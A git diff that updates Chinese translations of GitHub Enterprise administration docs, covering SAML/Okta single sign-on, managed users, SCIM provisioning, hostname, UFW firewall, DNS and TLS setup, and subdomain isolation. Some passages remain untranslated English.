 The following IdPs are officially supported for integration with {% data variables.product.prodname_ghe_managed %}.
 
@@ -73,8 +74,8 @@ If you use Okta as your IdP, you can map your Okta groups to teams on {% data va
 
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website
-- [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website{% ifversion ghae %}
-- [Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise){% endif %}
+- OASIS 网站上的 [SAML Wiki](https://wiki.oasis-open.org/security)
+- IETF 网站上的[跨域身份管理系统：协议 (RFC 7644)](https://tools.ietf.org/html/rfc7644){% ifversion ghae %}
+- “[限制到企业的网络流量](/admin/configuration/restricting-network-traffic-to-your-enterprise)”{% endif %}
diff --git a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
index e793d6e2b7..c6f3f3e5fc 100644
--- a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
+++ b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
@@ -1,7 +1,6 @@
 ---
 title: Configuring SAML single sign-on for your enterprise using Okta
 intro: '您可以使用安全声明标记语言 (SAML) 单点登录 (SSO) 与 Okta 一起来自动管理对 {% data variables.product.product_name %} 上企业帐户的访问。'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/configuring-single-sign-on-for-your-enterprise-account-using-okta
   - /github/setting-up-and-managing-your-enterprise-account/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta
diff --git a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
index c83b81428f..7bff80a5f6 100644
--- a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
+++ b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Managing team synchronization for organizations in your enterprise
 intro: '您可以启用身份提供程序 (IdP) 与 {% data variables.product.product_name %} 之间的团队同步，以允许企业帐户拥有的组织通过 IdP 组管理团队成员身份。'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can manage team synchronization for an enterprise account.
 versions:
   ghec: '*'
diff --git a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
index b96e4b3a62..f190662ded 100644
--- a/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
+++ b/translations/zh-CN/content/admin/authentication/managing-identity-and-access-for-your-enterprise/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account.md
@@ -1,7 +1,6 @@
 ---
 title: Switching your SAML configuration from an organization to an enterprise account
 intro: Learn special considerations and best practices for replacing an organization-level SAML configuration with an enterprise-level SAML configuration.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 permissions: Enterprise owners can configure SAML single sign-on for an enterprise account.
 versions:
   ghec: '*'
diff --git a/translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md b/translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md
index 2700c6ee2e..0947ce7614 100644
--- a/translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md
+++ b/translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users.md
@@ -16,7 +16,7 @@ topics:
   - SSO
 ---
 
-## About {% data variables.product.prodname_emus %}
+## 关于 {% data variables.product.prodname_emus %}
 
 With {% data variables.product.prodname_emus %}, you can control the user accounts of your enterprise members through your identity provider (IdP). You can simplify authentication with SAML single sign-on (SSO) and provision, update, and deprovision user accounts for your enterprise members. Users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your IdP are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} and added to your enterprise. You control usernames, profile data, team membership, and repository access from your IdP.
 
@@ -47,13 +47,13 @@ To use {% data variables.product.prodname_emus %}, you need a separate type of e
 
 * {% data variables.product.prodname_managed_users_caps %} cannot create issues or pull requests in, comment or add reactions to, nor star, watch, or fork repositories outside of the enterprise.
 * {% data variables.product.prodname_managed_users_caps %} can view all public repositories on {% data variables.product.prodname_dotcom_the_website %}, but cannot push code to repositories outside of the enterprise.
-* {% data variables.product.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise. 
+* {% data variables.product.prodname_managed_users_caps %} and the content they create is only visible to other members of the enterprise.
 * {% data variables.product.prodname_managed_users_caps %} cannot follow users outside of the enterprise.
 * {% data variables.product.prodname_managed_users_caps %} cannot create gists or comment on gists.
 * {% data variables.product.prodname_managed_users_caps %} cannot install {% data variables.product.prodname_github_apps %} on their user accounts.
 * Other {% data variables.product.prodname_dotcom %} users cannot see, mention, or invite a {% data variables.product.prodname_managed_user %} to collaborate.
 * {% data variables.product.prodname_managed_users_caps %} can only own private repositories and {% data variables.product.prodname_managed_users %} can only invite other enterprise members to collaborate on their owned repositories.
-* Only private and internal repositories can be created in organizations owned by an {% data variables.product.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings. 
+* Only private and internal repositories can be created in organizations owned by an {% data variables.product.prodname_emu_enterprise %}, depending on organization and enterprise repository visibility settings.
 
 ## About enterprises with managed users
 
@@ -71,7 +71,7 @@ The setup user's username is your enterprise's shortcode suffixed with `_admin`.
 
 {% endnote %}
 
-## Authenticating as a {% data variables.product.prodname_managed_user %}
+## 验证为 {% data variables.product.prodname_managed_user %}
 
 {% data variables.product.prodname_managed_users_caps %} must authenticate through their identity provider.
 
diff --git a/translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md b/translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
index a7039ee943..3e93a33467 100644
--- a/translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
+++ b/translations/zh-CN/content/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-scim-provisioning-for-enterprise-managed-users.md
@@ -14,7 +14,7 @@ topics:
 
 ## About provisioning for {% data variables.product.prodname_emus %}
 
-You can configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. When you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} via SCIM, and the users are added to your enterprise.
+You must configure provisioning for {% data variables.product.prodname_emus %} to create, manage, and deactivate user accounts for your enterprise members. When you configure provisioning for {% data variables.product.prodname_emus %}, users assigned to the {% data variables.product.prodname_emu_idp_application %} application in your identity provider are provisioned as new user accounts on {% data variables.product.prodname_dotcom %} via SCIM, and the users are added to your enterprise.
 
 When you update information associated with a user's identity on your IdP, your IdP will update the user's account on GitHub.com. When you unassign the user from the {% data variables.product.prodname_emu_idp_application %} application or deactivate a user's account on your IdP, your IdP will communicate with {% data variables.product.prodname_dotcom %} to invalidate any SAML sessions and disable the member's account. The disabled account's information is maintained and their username is changed to a hash of their original username with the short code appended. If you reassign a user to the {% data variables.product.prodname_emu_idp_application %} application or reactivate their account on your IdP, the {% data variables.product.prodname_managed_user %} account on {% data variables.product.prodname_dotcom %} will be reactivated and username restored.
 
diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
index 2727ae6ddc..b656a9eda2 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring a hostname
-intro: We recommend setting a hostname for your appliance instead of using a hard-coded IP address.
+title: 配置主机名
+intro: 我们建议为您的设备设置主机名，不建议使用硬编码 IP 地址。
 redirect_from:
   - /enterprise/admin/guides/installation/configuring-hostnames
   - /enterprise/admin/installation/configuring-a-hostname
@@ -14,20 +14,19 @@ topics:
   - Fundamentals
   - Infrastructure
 ---
-If you configure a hostname instead of a hard-coded IP address, you will be able to change the physical hardware that {% data variables.product.product_location %} runs on without affecting users or client software.
 
-The hostname setting in the {% data variables.enterprise.management_console %} should be set to an appropriate fully qualified domain name (FQDN) which is resolvable on the internet or within your internal network. For example, your hostname setting could be `github.companyname.com.` We also recommend enabling subdomain isolation for the chosen hostname to mitigate several cross-site scripting style vulnerabilities. For more information on hostname settings, see [Section 2.1 of the HTTP RFC](https://tools.ietf.org/html/rfc1123#section-2).
+如果配置的是主机名，而不是硬编码 IP 地址，您将能够更改运行 {% data variables.product.product_location %} 的物理硬件，而不会影响用户或客户端软件。
+
+{% data variables.enterprise.management_console %} 中的主机名设置应设置为合适的完全限定域名 (FQDN)，此域名可在互联网上或您的内部网络内解析。 例如，您的主机名设置可以是 `github.companyname.com`。我们还建议为选定的主机名启用子域隔离，以缓解多种跨站点脚本样式漏洞。 更多关于主机名设置的信息，请参阅 [HTTP RFC 的第 2.1 节](https://tools.ietf.org/html/rfc1123#section-2)。
 
 {% data reusables.enterprise_installation.changing-hostname-not-supported %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.hostname-menu-item %}
-4. Type the hostname you'd like to set for {% data variables.product.product_location %}.
-  ![Field for setting a hostname](/assets/images/enterprise/management-console/hostname-field.png)
-5. To test the DNS and SSL settings for the new hostname, click **Test domain settings**.
-  ![Test domain settings button](/assets/images/enterprise/management-console/test-domain-settings.png)
+4. 输入想要为 {% data variables.product.product_location %} 设置的主机名。 ![用于设置主机名的字段](/assets/images/enterprise/management-console/hostname-field.png)
+5. 要测试新主机名的 DNS 和 SSL 设置，请单击 **Test domain settings**。 ![测试域设置按钮](/assets/images/enterprise/management-console/test-domain-settings.png)
 {% data reusables.enterprise_management_console.test-domain-settings-failure %}
 {% data reusables.enterprise_management_console.save-settings %}
 
-After you configure a hostname, we recommend that you enable subdomain isolation for {% data variables.product.product_location %}. For more information, see "[Enabling subdomain isolation](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation/)."
+配置完主机名后，建议为 {% data variables.product.product_location %} 启用子域隔离。 更多信息请参阅“[启用子域隔离](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation/)”。
diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
index b6f5cbfb9d..76e7cff868 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring built-in firewall rules
-intro: 'You can view default firewall rules and customize rules for {% data variables.product.product_location %}.'
+title: 配置内置防火墙规则
+intro: '您可以查看默认防火墙规则并自定义 {% data variables.product.product_location %} 的规则。'
 redirect_from:
   - /enterprise/admin/guides/installation/configuring-firewall-settings
   - /enterprise/admin/installation/configuring-built-in-firewall-rules
@@ -14,20 +14,21 @@ topics:
   - Fundamentals
   - Infrastructure
   - Networking
-shortTitle: Configure firewall rules
+shortTitle: 配置防火墙规则
 ---
-## About {% data variables.product.product_location %}'s firewall
 
-{% data variables.product.prodname_ghe_server %} uses Ubuntu's Uncomplicated Firewall (UFW) on the virtual appliance. For more information see "[UFW](https://help.ubuntu.com/community/UFW)" in the Ubuntu documentation. {% data variables.product.prodname_ghe_server %} automatically updates the firewall allowlist of allowed services with each release.
+## 关于 {% data variables.product.product_location %} 的防火墙
 
-After you install {% data variables.product.prodname_ghe_server %}, all required network ports are automatically opened to accept connections. Every non-required port is automatically configured as `deny`, and the default outgoing policy is configured as `allow`. Stateful tracking is enabled for any new connections; these are typically network packets with the `SYN` bit set. For more information, see "[Network ports](/enterprise/admin/guides/installation/network-ports)."
+{% data variables.product.prodname_ghe_server %} 在虚拟设备上使用 Ubuntu 的简单防火墙 (UFW)。 更多信息请参阅 Ubuntu 文档中的“[UFW](https://help.ubuntu.com/community/UFW)”。 {% data variables.product.prodname_ghe_server %} 在每次发布时都会自动更新允许服务的防火墙允许名单。
 
-The UFW firewall also opens several other ports that are required for {% data variables.product.prodname_ghe_server %} to operate properly. For more information on the UFW rule set, see [the UFW README](https://bazaar.launchpad.net/~jdstrand/ufw/0.30-oneiric/view/head:/README#L213).
+安装 {% data variables.product.prodname_ghe_server %} 之后，所有必要的网络端口都会自动打开，以接受连接。 每个非必要的端口都会自动配置为 `deny`，默认传出策略会配置为 `allow`。 会为任何新连接启用状态跟踪；这些连接通常是 `SYN` 位置 1 的网络数据包。 更多信息请参阅“[网络端口](/enterprise/admin/guides/installation/network-ports)”。
 
-## Viewing the default firewall rules
+UFW 防火墙还会打开 {% data variables.product.prodname_ghe_server %} 所需的其他多个端口才能正常运行。 更多关于 UFW 规则集的信息，请参阅 [UFW 自述文件](https://bazaar.launchpad.net/~jdstrand/ufw/0.30-oneiric/view/head:/README#L213)。
+
+## 查看默认防火墙规则
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. To view the default firewall rules, use the `sudo ufw status` command. You should see output similar to this:
+2. 要查看默认防火墙规则，请使用 `sudo ufw status` 命令。 您看到的输出应类似于：
   ```shell
   $ sudo ufw status
   > Status: active
@@ -55,46 +56,46 @@ The UFW firewall also opens several other ports that are required for {% data va
   > ghe-9418 (v6)              ALLOW       Anywhere (v6)
   ```
 
-## Adding custom firewall rules
+## 添加自定义防火墙规则
 
 {% warning %}
 
-**Warning:** Before you add custom firewall rules, back up your current rules in case you need to reset to a known working state. If you're locked out of your server, contact {% data variables.contact.contact_ent_support %} to reconfigure the original firewall rules. Restoring the original firewall rules involves downtime for your server.
+**警告：** 在添加自定义防火墙规则之前，请备份当前规则，以便在需要时可以重置为已知的工作状态。 如果您被锁定在服务器之外，请与 {% data variables.contact.contact_ent_support %} 联系，以重新配置原始防火墙规则。 恢复原始防火墙规则会导致服务器停机。
 
 {% endwarning %}
 
-1. Configure a custom firewall rule.
-2. Check the status of each new rule with the `status numbered` command.
+1. 配置自定义防火墙规则。
+2. 使用`状态编号`命令检查每个新规则的状态。
   ```shell
   $ sudo ufw status numbered
   ```
-3. To back up your custom firewall rules, use the `cp`command to move the rules to a new file.
+3. 要备份自定义防火墙规则，请使用 `cp` 命令将规则移至新文件。
   ```shell
   $ sudo cp -r /etc/ufw ~/ufw.backup
   ```
 
-After you upgrade {% data variables.product.product_location %}, you must reapply your custom firewall rules. We recommend that you create a script to reapply your firewall custom rules.
+升级 {% data variables.product.product_location %} 后，您必须重新应用自定义防火墙规则。 我们建议您创建脚本来重新应用防火墙自定义规则。
 
-## Restoring the default firewall rules
+## 恢复默认防火墙规则
 
-If something goes wrong after you change the firewall rules, you can reset the rules from your original backup.
+如果更改防火墙规则后出现问题，您可以通过原始备份重置规则。
 
 {% warning %}
 
-**Warning:** If you didn't back up the original rules before making changes to the firewall, contact {% data variables.contact.contact_ent_support %} for further assistance.
+**警告**：如果您对防火墙进行更改之前未备份原始规则，请联系 {% data variables.contact.contact_ent_support %} 获取更多帮助。
 
 {% endwarning %}
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. To restore the previous backup rules, copy them back to the firewall with the `cp` command.
+2. 要恢复之前的备份规则，请使用 `cp` 命令将规则复制到防火墙。
   ```shell
   $ sudo cp -f ~/ufw.backup/*rules /etc/ufw
   ```
-3. Restart the firewall with the `systemctl` command.
+3. 使用 `systemctl` 命令重新启动防火墙。
   ```shell
   $ sudo systemctl restart ufw
   ```
-4. Confirm that the rules are back to their defaults with the `ufw status` command.
+4. 使用 `ufw status` 命令确认规则已恢复为默认状态。
   ```shell
   $ sudo ufw status
   > Status: active
diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
index 0080d55693..ff3c34fe96 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring DNS nameservers
-intro: '{% data variables.product.prodname_ghe_server %} uses the dynamic host configuration protocol (DHCP) for DNS settings when DHCP leases provide nameservers. If nameservers are not provided by a dynamic host configuration protocol (DHCP) lease, or if you need to use specific DNS settings, you can specify the nameservers manually.'
+title: 配置 DNS 域名服务器
+intro: '在 DHCP 租约提供域名服务器时，{% data variables.product.prodname_ghe_server %} 将为 DNS 设置使用动态主机配置协议 (DHCP)。 如果域名服务器不是由动态主机配置协议 (DHCP) 租约提供，或者您需要使用特定的 DNS 设置，可以手动指定域名服务器。'
 redirect_from:
   - /enterprise/admin/guides/installation/about-dns-nameservers
   - /enterprise/admin/installation/configuring-dns-nameservers
@@ -14,28 +14,29 @@ topics:
   - Fundamentals
   - Infrastructure
   - Networking
-shortTitle: Configure DNS servers
+shortTitle: 配置 DNS 服务器
 ---
-The nameservers you specify must resolve {% data variables.product.product_location %}'s hostname.
+
+指定的域名服务器必须解析 {% data variables.product.product_location %} 的主机名。
 
 {% data reusables.enterprise_installation.changing-hostname-not-supported %}
 
-## Configuring nameservers using the virtual machine console
+## 使用虚拟机控制台配置域名服务器
 
 {% data reusables.enterprise_installation.open-vm-console-start %}
-2. Configure nameservers for your instance.
+2. 为实例配置域名服务器。
 {% data reusables.enterprise_installation.vm-console-done %}
 
-## Configuring nameservers using the administrative shell
+## 使用管理 shell 配置域名服务器
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. To edit your nameservers, enter:
+2. 要编辑域名服务器，请输入：
   ```shell
   $ sudo vim /etc/resolvconf/resolv.conf.d/head
   ```
-3. Append any `nameserver` entries, then save the file.
-4. After verifying your changes, save the file.
-5. To add your new nameserver entries to {% data variables.product.product_location %}, run the following:
+3. 附加任何 `nameserver` 条目，然后保存文件。
+4. 验证变更后，请保存文件。
+5. 要向 {% data variables.product.product_location %} 添加新的域名服务器条目，请运行以下命令：
   ```shell
   $ sudo service resolvconf restart
   $ sudo service dnsmasq restart
diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-tls.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-tls.md
index e3a251095c..a5bab1c756 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-tls.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/configuring-tls.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring TLS
-intro: 'You can configure Transport Layer Security (TLS) on {% data variables.product.product_location %} so that you can use a certificate that is signed by a trusted certificate authority.'
+title: 配置 TLS
+intro: '您可以在 {% data variables.product.product_location %} 上配置传输层安全 (TLS)，以便使用由可信证书颁发机构签名的证书。'
 redirect_from:
   - /enterprise/admin/articles/ssl-configuration
   - /enterprise/admin/guides/installation/about-tls
@@ -17,55 +17,53 @@ topics:
   - Networking
   - Security
 ---
-## About Transport Layer Security
 
-TLS, which replaced SSL, is enabled and configured with a self-signed certificate when {% data variables.product.prodname_ghe_server %} is started for the first time. As self-signed certificates are not trusted by web browsers and Git clients, these clients will report certificate warnings until you disable TLS or upload a certificate signed by a trusted authority, such as Let's Encrypt.
+## 关于传输层安全
 
-The {% data variables.product.prodname_ghe_server %} appliance will send HTTP Strict Transport Security headers when SSL is enabled. Disabling TLS will cause users to lose access to the appliance, because their browsers will not allow a protocol downgrade to HTTP. For more information, see "[HTTP Strict Transport Security (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)" on Wikipedia.
+当 {% data variables.product.prodname_ghe_server %} 首次启动时，会启用 TLS（替代了 SSL）并通过自签名证书进行配置。 由于自签名证书不受 Web 浏览器和 Git 客户端的信任，因此这些客户端将报告证书警告，直至您禁用 TLS 或上传由 Let's Encrypt 等可信颁发机构签名的证书。
+
+{% data variables.product.prodname_ghe_server %} 设备将在 SSL 启用时发送 HTTP 严格传输安全标头。 禁用 TLS 会导致用户无法访问设备，因为用户的浏览器将不允许协议降级为 HTTP。 更多信息请参阅 Wikipedia 上的“[HTTP 严格传输安全 (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)”。
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-To allow users to use FIDO U2F for two-factor authentication, you must enable TLS for your instance. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
+要允许用户使用 FIDO U2F 进行双重身份验证，您必须为实例启用 TLS。 更多信息请参阅“[配置双重身份验证](/articles/configuring-two-factor-authentication)”。
 
-## Prerequisites
+## 基本要求
 
-To use TLS in production, you must have a certificate in an unencrypted PEM format signed by a trusted certificate authority.
+要在生产中使用 TLS，您必须具有由可信证书颁发机构签名的未加密 PEM 格式的证书。
 
-Your certificate will also need Subject Alternative Names configured for the subdomains listed in "[Enabling subdomain isolation](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)" and will need to include the full certificate chain if it has been signed by an intermediate certificate authority. For more information, see "[Subject Alternative Name](http://en.wikipedia.org/wiki/SubjectAltName)" on Wikipedia.
+您的证书还需要为“[启用子域隔离](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)”中列出的子域配置使用者可选名称，如果证书已由中间证书颁发机构签名，将需要包含完整的证书链。 更多信息请参阅 Wikipedia 上的“[使用者可选名称](http://en.wikipedia.org/wiki/SubjectAltName)”。
 
-You can generate a certificate signing request (CSR) for your instance using the `ghe-ssl-generate-csr` command. For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)."
+您可以使用 `ghe-ssl-generate-csr` 命令为实例生成证书签名请求 (CSR)。 更多信息请参阅“[命令行实用程序](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)”。
 
-## Uploading a custom TLS certificate
+## 上传自定义 TLS 证书
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
 {% data reusables.enterprise_management_console.select-tls-only %}
-4. Under "TLS Protocol support", select the protocols you want to allow.
-  ![Radio buttons with options to choose TLS protocols](/assets/images/enterprise/management-console/tls-protocol-support.png)
-5. Under "Certificate", click **Choose File** to choose a TLS certificate or certificate chain (in PEM format) to install. This file will usually have a *.pem*, *.crt*, or *.cer* extension.
-  ![Button to find TLS certificate file](/assets/images/enterprise/management-console/install-tls-certificate.png)
-6. Under "Unencrypted key", click **Choose File** to choose an RSA key (in PEM format) to install. This file will usually have a *.key* extension.
-  ![Button to find TLS key file](/assets/images/enterprise/management-console/install-tls-key.png)
+4. 在“TLS Protocol support”下，选择您想要允许的协议。 ![包含用于选择 TLS 协议的选项的单选按钮](/assets/images/enterprise/management-console/tls-protocol-support.png)
+5. 在“Certificate”下，单击 **Choose File**，选择要安装的 TLS 证书或证书链（PEM 格式）。 此文件通常采用 *.pem*、*.crt* 或 *.cer* 扩展名。 ![用于查找 TLS 证书文件的按钮](/assets/images/enterprise/management-console/install-tls-certificate.png)
+6. Under "Unencrypted key", click **Choose File** to choose an RSA key (in PEM format) to install. 此文件通常采用 *.key* 扩展名。 ![用于查找 TLS 密钥文件的按钮](/assets/images/enterprise/management-console/install-tls-key.png)
 
   {% warning %}
 
-  **Warning**: Your key must be an RSA key and must not have a passphrase. For more information, see "[Removing the passphrase from your key file](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)".
+  **Warning**: Your key must be an RSA key and must not have a passphrase. 更多信息请参阅“[将密码从密钥文件中移除](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)”。
 
   {% endwarning %}
 {% data reusables.enterprise_management_console.save-settings %}
 
-## About Let's Encrypt support
+## 关于 Let's Encrypt 支持
 
-Let's Encrypt is a public certificate authority that issues free, automated TLS certificates that are trusted by browsers using the ACME protocol. You can automatically obtain and renew Let's Encrypt certificates on your appliance without any required manual maintenance.
+Let's Encrypt 是公共证书颁发机构，他们使用 ACME 协议颁发受浏览器信任的免费、自动化 TLS 证书。 您可以在设备上自动获取并续订 Let's Encrypt 证书，无需手动维护。
 
 {% data reusables.enterprise_installation.lets-encrypt-prerequisites %}
 
-When you enable automation of TLS certificate management using Let's Encrypt, {% data variables.product.product_location %} will contact the Let's Encrypt servers to obtain a certificate. To renew a certificate, Let's Encrypt servers must validate control of the configured domain name with inbound HTTP requests.
+在您启用通过 Let's Encrypt 自动进行 TLS 证书管理后，{% data variables.product.product_location %} 将与 Let's Encrypt 服务器通信，以获取证书。 要续订证书，Let's Encrypt 服务器必须通过入站 HTTP 请求验证已配置域名的控制。
 
-You can also use the `ghe-ssl-acme` command line utility on {% data variables.product.product_location %} to automatically generate a Let's Encrypt certificate. For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-ssl-acme)."
+您还可以在 {% data variables.product.product_location %} 上使用 `ghe-ssl-acme` 命令行实用程序自动生成 Let's Encrypt 证书。 更多信息请参阅“[命令行实用程序](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities#ghe-ssl-acme)”。
 
-## Configuring TLS using Let's Encrypt
+## 使用 Let's Encrypt 配置 TLS
 
 {% data reusables.enterprise_installation.lets-encrypt-prerequisites %}
 
@@ -73,12 +71,9 @@ You can also use the `ghe-ssl-acme` command line utility on {% data variables.pr
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.privacy %}
 {% data reusables.enterprise_management_console.select-tls-only %}
-5. Select **Enable automation of TLS certificate management using Let's Encrypt**.
-  ![Checkbox to enable Let's Encrypt](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png)
+5. 选择 **Enable automation of TLS certificate management using Let's Encrypt**。 ![启用 Let's Encrypt 复选框](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png)
 {% data reusables.enterprise_management_console.save-settings %}
 {% data reusables.enterprise_management_console.privacy %}
-7. Click **Request TLS certificate**.
-  ![Request TLS certificate button](/assets/images/enterprise/management-console/request-tls-button.png)
-8. Wait for the "Status" to change from "STARTED" to "DONE".
-   ![Let's Encrypt status](/assets/images/enterprise/management-console/lets-encrypt-status.png)
-9. Click **Save configuration**.
+7. 单击 **Request TLS certificate**。 ![Request TLS Certificate 按钮](/assets/images/enterprise/management-console/request-tls-button.png)
+8. 等待“状态”从“开始”更改为“完成”。 ![Let's Encrypt 状态](/assets/images/enterprise/management-console/lets-encrypt-status.png)
+9. 单击 **Save configuration**。
diff --git a/translations/zh-CN/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md b/translations/zh-CN/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
index 24d09e4f83..0a71f4bd61 100644
--- a/translations/zh-CN/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
+++ b/translations/zh-CN/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
@@ -1,6 +1,6 @@
 ---
-title: Enabling subdomain isolation
-intro: 'You can set up subdomain isolation to securely separate user-supplied content from other portions of your {% data variables.product.prodname_ghe_server %} appliance.'
+title: 启用子域隔离
+intro: '您可以设置子域隔离，将用户提供的内容与 {% data variables.product.prodname_ghe_server %} 设备的其他部分安全地隔离。'
 redirect_from:
   - /enterprise/admin/guides/installation/about-subdomain-isolation
   - /enterprise/admin/installation/enabling-subdomain-isolation
@@ -15,51 +15,51 @@ topics:
   - Infrastructure
   - Networking
   - Security
-shortTitle: Enable subdomain isolation
+shortTitle: 启用子域隔离
 ---
-## About subdomain isolation
 
-Subdomain isolation mitigates cross-site scripting and other related vulnerabilities. For more information, see "[Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)" on Wikipedia. We highly recommend that you enable subdomain isolation on {% data variables.product.product_location %}.
+## 关于子域隔离
 
-When subdomain isolation is enabled, {% data variables.product.prodname_ghe_server %} replaces several paths with subdomains. After enabling subdomain isolation, attempts to access the previous paths for some user-supplied content, such as `http(s)://HOSTNAME/raw/`, may return `404` errors.
+子域隔离可以减少跨站脚本和其他相关漏洞。 更多信息请参阅 Wikipedia 上的“[跨站脚本](http://en.wikipedia.org/wiki/Cross-site_scripting)”。 我们强烈建议在 {% data variables.product.product_location %} 上启用子域隔离。
 
